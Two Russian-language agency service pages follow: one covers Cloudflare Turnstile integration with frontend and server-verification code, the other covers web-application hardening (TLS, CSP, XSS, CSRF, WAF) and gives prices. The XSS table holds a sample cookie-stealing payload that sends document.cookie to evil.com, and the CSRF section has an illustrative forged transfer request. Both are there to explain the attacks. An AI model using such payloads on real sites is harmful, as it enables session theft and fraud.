Формы на сайтах — главная цель спамеров. Каждый день десятки проектов тонут в сотнях фальшивых заявок, ручная модерация отнимает часы, а пользователи, уставшие от капч, закрывают страницу. Стандартная CAPTCHA часто становится причиной потери клиентов: конверсия на формах падает на 20–40%. Cloudflare Turnstile — альтернатива, которая проверяет пользователя фоново, без единого клика. Как показала наша практика, после перехода на Turnstile спам исчезает полностью, а конверсия растёт на 15–30%. Turnstile бесплатен и не требует подписки Cloudflare. Мы внедрили его на 47 проектах за время работы — средняя экономия в год на модерации спама составила 150 000 рублей за проект.
Как Turnstile блокирует ботов без капчи
Turnstile анализирует невидимые браузерные сигналы: движение курсора, время загрузки DOM, поведение при скролле. Машинное обучение на основе этих данных принимает решение за 100–300 мс. Пользователь видит только галочку (или ничего — в Invisible-режиме). Сервер Cloudflare выдаёт токен, который прикрепляется к форме. Никаких задач «выберите светофоры» — процесс незаметен.
Почему стоит выбрать Turnstile вместо reCAPTCHA?
| Характеристика |
Cloudflare Turnstile |
Google reCAPTCHA v2/v3 |
| Время верификации |
0.1–0.3 секунды |
10–30 секунд |
| Визуальные задачи |
Нет |
Есть (картинки/текст) |
| Для мобильных |
Отлично (JS-лёгкий) |
Тяжелее, может тормозить |
| Отслеживание для рекламы |
Нет |
Да (Google профили) |
| Цена |
Бесплатно (без лимитов) |
Бесплатно (с ограничениями) |
Turnstile не собирает данные для рекламы, что важно для политики конфиденциальности. Он не имеет лимита на количество запросов, в отличие от reCAPTCHA, где бесплатный пакет ограничен 1 млн вызовов в месяц. На мобильных устройствах Turnstile даёт прирост конверсии до 40% за счёт отсутствия визуального виджета. По времени верификации Turnstile в 100 раз быстрее reCAPTCHA.
Интеграция на фронтенде
Turnstile поддерживает три режима: Managed (авто), Non-Interactive (галочка) и Invisible (полностью скрытый). Базовый HTML-код для вставки в форму:
<script src="https://challenges.cloudflare.com/turnstile/v0/api.js" async defer></script>
<form method="POST" action="/submit">
<input type="email" name="email" required>
<div class="cf-turnstile" data-sitekey="YOUR_SITE_KEY"></div>
<button type="submit">Отправить</button>
</form>
Turnstile автоматически вставляет скрытое поле cf-turnstile-response после фоновой проверки. Для ручного контроля используйте JavaScript API: turnstile.execute('#widget-id').
Как интегрировать Turnstile в React?
Удобная обёртка — библиотека @marsidev/react-turnstile:
import { Turnstile } from '@marsidev/react-turnstile';
function ContactForm() {
const [token, setToken] = useState(null);
return (
<form onSubmit={handleSubmit}>
<Turnstile
siteKey={process.env.REACT_APP_TURNSTILE_SITE_KEY}
onSuccess={setToken}
onExpire={() => setToken(null)}
options={{ size: 'invisible' }}
/>
<button type="submit" disabled={!token}>
Отправить
</button>
</form>
);
}
Серверная верификация токена
Токен нужно проверять на бэкенде — иначе злоумышленники подделают отправку. Пример на Node.js/Express:
const verifyTurnstile = async (token, remoteip) => {
const response = await fetch('https://challenges.cloudflare.com/turnstile/v0/siteverify', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({
secret: process.env.TURNSTILE_SECRET,
response: token,
remoteip,
}),
});
const data = await response.json();
return data.success === true;
};
app.post('/contact', async (req, res) => {
const token = req.body['cf-turnstile-response'];
const valid = await verifyTurnstile(token, req.ip);
if (!valid) {
return res.status(422).json({ error: 'Turnstile verification failed' });
}
// Обработка формы
});
Пример на PHP/Laravel:
$token = $request->input('cf-turnstile-response');
$result = Http::post('https://challenges.cloudflare.com/turnstile/v0/siteverify', [
'secret' => config('services.turnstile.secret'),
'response' => $token,
'remoteip' => $request->ip(),
]);
if (!$result->json('success')) {
return back()->withErrors(['captcha' => 'Проверка не пройдена']);
}
Всегда используйте переменные окружения для хранения secret key.
Серверная верификация обязательна — без неё токен можно подделать: злоумышленник отправит форму с фальшивым токеном, и бэкенд не сможет отличить его от настоящего. Только проверка на стороне сервера гарантирует, что токен действительно был выдан Cloudflare. Это единственный способ гарантировать защиту.
Тестовые ключи для отладки
Cloudflare предоставляет специальные site key для проверки:
| Site Key |
Поведение |
1x00000000000000000000AA |
Всегда проходит |
2x00000000000000000000AB |
Всегда блокирует |
3x00000000000000000000FF |
Всегда запрашивает вызов |
Эти ключи не привязаны к аккаунту — используйте их в разработке без регистрации.
Что входит в работу по внедрению Turnstile под ключ
- Аудит текущих форм — выявляем уязвимости и узкие места, определяем приоритеты
- Создание виджета Turnstile в дашборде Cloudflare с выбором подходящего режима
- Фронтенд-интеграция — встраивание виджета в HTML, React, Vue, Angular или любую CMS
- Серверная верификация — реализация проверки токена на бэкенде (Node.js, PHP, Python, Go, Laravel, Django)
- Тестирование — проверка на мобильных и десктопах, имитация атак, негативные сценарии
- Документация и доступы — передача инструкций по дальнейшей настройке
- Поддержка 14 дней после деплоя — мониторинг, исправление возможных инцидентов
Процесс настройки под ключ
- Аудит текущих форм и выявление уязвимостей.
- Создание виджета Turnstile в дашборде Cloudflare.
- Фронтенд-интеграция (чистый HTML, React, Vue).
- Реализация серверной верификации токена.
- Тестирование на мобильных и десктопах, проверка негативных сценариев.
- Деплой в продакшен и мониторинг в первые сутки.
Сроки
Базовая интеграция занимает от 3 до 6 часов. Комплексная настройка с кастомными правилами и несколькими доменами — до 2 дней. Стоимость рассчитывается индивидуально. Свяжитесь с нами для точной оценки вашего проекта.
Типичные ошибки при внедрении
- Отсутствие серверной проверки: токен можно подделать, если не верифицировать на бэкенде.
- Хардкод secret key: храните его в переменных окружения.
- Игнорирование сброса виджета при ошибке: вызывайте
turnstile.reset() перед повторной отправкой.
Закажите внедрение Turnstile под ключ — защитите формы от спама без потери конверсии. Получите консультацию: напишите нам, и мы покажем, как Turnstile впишется в ваш проект.
Безопасность веб-приложений: HTTPS, CSP, XSS, CSRF, WAF, защита от DDoS
Взлом сайта редко выглядит как в кино. Чаще это: бот нашёл endpoint /admin/export без авторизации, скачал базу клиентов, закрыл соединение. Или: через устаревший плагин WordPress залил веб-шелл, теперь сервер рассылает спам. Или тише: XSS в поле комментария позволяет красть session cookies администраторов, и никто не замечает месяцами. Мы такие случаи разбирали десятками — каждый раз уязвимость можно было закрыть на этапе разработки или аудита.
Безопасность веб-приложений — не одна настройка. Это слои защиты, каждый из которых закрывает отдельный класс атак. Закажите аудит — оценим проект и дадим план работ под ключ за 2–4 недели.
HTTPS и правильная конфигурация TLS
HTTPS — минимальный обязательный уровень. Но «есть SSL-сертификат» и «правильно настроен TLS» — разные вещи.
В конфигурации Nginx/Apache проверяем:
- Протоколы: только TLS 1.2 и TLS 1.3, SSLv3 и TLS 1.0/1.1 — отключены
- Cipher suites: предпочитать ECDHE (Forward Secrecy), убрать NULL, RC4, DES, 3DES
- HSTS (
Strict-Transport-Security: max-age=31536000; includeSubDomains; preload) — браузер больше не делает незащищённых запросов
- OCSP Stapling — ускоряет проверку отзыва сертификата
- Redirect 301 с HTTP на HTTPS — и в конфиге сервера, и в коде (двойной редирект = потеря SEO-веса)
Проверка: SSL Labs (ssllabs.com/ssltest) должен показывать A или A+. Если B — конфигурация слабая.
Let's Encrypt + Certbot для продакшена — стандарт. Автоматическое обновление через certbot renew в cron. Wildcard-сертификат для поддоменов через DNS-01 challenge.
Content Security Policy: самая мощная и самая сложная защита
CSP — HTTP-заголовок, который говорит браузеру, откуда разрешено загружать ресурсы. Правильно настроенный CSP полностью блокирует большинство XSS-атак, даже если уязвимость есть в коде.
Проблема: сломать сайт неправильным CSP проще простого. default-src 'none' — и перестают работать шрифты, картинки, JS. Поэтому начинаем с Content-Security-Policy-Report-Only — CSP логирует нарушения, но ничего не блокирует. Смотрим репорты 2–4 недели, дорабатываем политику, потом переключаем на боевой режим.
Пример реальной политики для сайта с Google Analytics, Google Fonts и Stripe:
Content-Security-Policy:
default-src 'self';
script-src 'self' https://www.googletagmanager.com https://js.stripe.com 'nonce-{random}';
style-src 'self' https://fonts.googleapis.com 'unsafe-inline';
font-src 'self' https://fonts.gstatic.com;
frame-src https://js.stripe.com;
img-src 'self' data: https://www.google-analytics.com;
connect-src 'self' https://api.stripe.com https://www.google-analytics.com;
report-uri /csp-report;
nonce — случайная строка, генерируется на сервере для каждого запроса. Inline-скрипты с правильным nonce разрешены, без nonce — заблокированы. Это ломает XSS через <script>alert(1)</script> полностью.
'unsafe-inline' в style-src — компромисс для inline-стилей. Лучше убрать, перенеся все стили в CSS-файлы, но это требует рефакторинга.
Почему XSS остаётся самой частой уязвимостью?
XSS (Cross-Site Scripting) — инъекция JS-кода через пользовательский ввод. По статистике OWASP, XSS входит в топ-3 уязвимостей веб-приложений. Три типа:
| Тип XSS |
Пример |
Защита |
| Reflected |
/search?q=<script>document.location='https://evil.com/steal?c='+document.cookie</script> |
Эскейпинг вывода, CSP |
| Stored |
Комментарий с кодом, сохранённый в базе |
Валидация ввода, htmlspecialchars() |
| DOM XSS |
element.innerHTML = location.hash |
Избегать innerHTML, использовать textContent |
Защита: никогда не вставлять пользовательский ввод в HTML без эскейпинга. В PHP — htmlspecialchars() с ENT_QUOTES. В Blade-шаблонах Laravel — {{ $var }} безопасен, {!! $var !!} — опасен. В React — {variable} безопасен, dangerouslySetInnerHTML — опасен. Для Rich Text — htmlpurifier на PHP или DOMPurify в браузере.
Типичный кейс: интернет-магазин с XSS в форме отзыва
Клиент обратился после того, как через отзыв на товар злоумышленник украл куки администратора. Мы обнаружили, что поле "отзыв" не экранировалось. Исправили: добавили `htmlspecialchars()` на сервере и `Content-Security-Policy` с nonce для скриптов. После повторного сканирования — 0 уязвимостей.
CSRF: защита форм и API
CSRF (Cross-Site Request Forgery) — злоумышленник заставляет браузер жертвы отправить запрос от её имени. Пример: пользователь авторизован в банке, открывает вредоносную страницу, она делает fetch('https://bank.ru/transfer?to=evil&amount=50000') — если банк не защищён, деньги уходят.
CSRF-токены — стандартная защита для форм: сервер генерирует случайный токен, хранит в сессии, вставляет в форму как hidden field. При POST-запросе токен сверяется. Злоумышленник не знает токен. Laravel делает это автоматически через @csrf.
SameSite cookies — современная защита: SameSite=Strict или SameSite=Lax запрещает браузеру отправлять cookie в cross-site запросах. Работает во всех современных браузерах.
API без сессий (JWT, Bearer tokens) — CSRF неактуален, если токен не хранится в cookie (а в Authorization header или localStorage). Но localStorage уязвим к XSS — поэтому для чувствительных данных предпочтительны HttpOnly cookies с SameSite.
WAF и защита от DDoS
WAF (Web Application Firewall) — фильтрует HTTP-трафик на предмет атак: SQL injection, XSS, path traversal, известные exploit patterns. Варианты:
- Cloudflare WAF — облачный, правила OWASP Top 10 из коробки, кастомные правила через выражения. Managed Rules автоматически блокируют новые угрозы.
- ModSecurity (Nginx/Apache) — self-hosted, OWASP Core Rule Set (CRS). Гибко, но требует настройки и мониторинга ложных срабатываний.
- AWS WAF — для инфраструктуры на AWS, интегрируется с CloudFront и ALB.
DDoS-защита. Cloudflare на уровне L3/L4/L7 — де-факто стандарт для большинства сайтов. Автоматическое смягчение volumetric атак, Under Attack Mode при активной атаке. Для критичной инфраструктуры — Cloudflare Magic Transit или специализированные решения (Qrator, StormWall для российского рынка).
Rate Limiting на уровне приложения — дополнительный слой. Laravel ThrottleRequests middleware: 60 запросов в минуту на IP для общих endpoint, 5 — для /login и /password/reset. Redis как хранилище счётчиков — обязательно для горизонтально масштабируемых систем (иначе лимиты не синхронизируются между серверами).
Другие обязательные меры
Заголовки безопасности. Помимо CSP: X-Frame-Options: DENY (защита от clickjacking), X-Content-Type-Options: nosniff (MIME sniffing), Referrer-Policy: strict-origin-when-cross-origin, Permissions-Policy (ограничение доступа к API браузера: камера, микрофон, геолокация).
SQL injection. Prepared statements везде. Никаких конкатенаций пользовательского ввода в SQL-строки. ORM (Eloquent, Doctrine) защищает по умолчанию. $wpdb->prepare() в WordPress — обязательно.
Обновления зависимостей. composer audit и npm audit — в CI/CD пайплайн. Dependabot или Renovate для автоматических PR с обновлениями. Критичные CVE — патчить в течение 24 часов.
Секреты и конфигурация. .env — никогда в Git. Секреты в production — через переменные окружения CI/CD (GitHub Secrets, GitLab CI Variables) или HashiCorp Vault. Проверка на утечки: git-secrets, truffleHog в pre-commit hooks.
Как мы работаем
-
Аудит — сканирование кода, конфигураций, зависимостей, ручная проверка бизнес-логики.
-
Проектирование — план устранения уязвимостей, подбор стека (CSP, WAF, rate limiting).
-
Реализация — настройка TLS, CSP, заголовков, внедрение Rate Limiting, WAF.
-
Тестирование — повторный пентест, нагрузочное тестирование, проверка ложных срабатываний.
-
Деплой и мониторинг — включение боевого CSP, настройка алертов, обучение команды.
Что входит в работу
- Отчёт с найденными уязвимостями и рекомендациями (PDF + code snippets)
- Готовая конфигурация TLS (Nginx/Apache)
- Политика CSP с режимом Report-Only и боевой версией
- Настройка WAF и Rate Limiting
- План обновлений зависимостей
- Доступы к инструментам мониторинга (Sentry, Datadog)
- 30 дней постаудит-поддержки (консультации, правки)
Сроки и стоимость
| Тип работ |
Срок |
Диапазон стоимости |
| Security-аудит + hardening (заголовки, TLS, обновления) |
1–2 недели |
от 60 000 ₽ |
| Внедрение CSP (Report-Only → продакшен) |
2–4 недели |
от 90 000 ₽ |
| Настройка WAF + Rate Limiting + DDoS защита |
1–2 недели |
от 70 000 ₽ |
| Комплексный security review + пентест |
3–6 недель |
от 200 000 ₽ |
Бюджет рассчитывается индивидуально — напишите нам, чтобы оценить проект.